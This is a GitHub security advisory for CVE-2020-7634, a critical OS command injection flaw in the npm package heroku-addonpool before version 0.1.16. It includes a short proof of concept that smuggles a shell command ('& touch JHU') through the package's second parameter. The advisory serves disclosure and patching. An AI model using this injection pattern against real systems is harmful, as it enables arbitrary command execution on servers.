GitHub Advisoryadvisory · npm
GHSA-3q9x-w53p-jg53 OS Command Injection in heroku-addonpool
CRITICAL
Official page ↗
- Aliases
- CVE-2020-7634
- Ecosystem
- npm
- Packages
- heroku-addonpool
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2021-05-24
Affected packages
• npm heroku-addonpool: < 0.1.16 → fixed in 0.1.16
Description
heroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function `HerokuAddonPool(id, app, opt)` can be controlled by users without any sanitization.
PoC
```js
var Root = require("heroku-addonpool");
var root = Root("sss", "& touch JHU", {});
root.setup();
```
Related
Alias · CVE (1)
- CVE-2020-7634 heroku-addonpool through 0.1.15 is vulnerable to Command Injection. vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness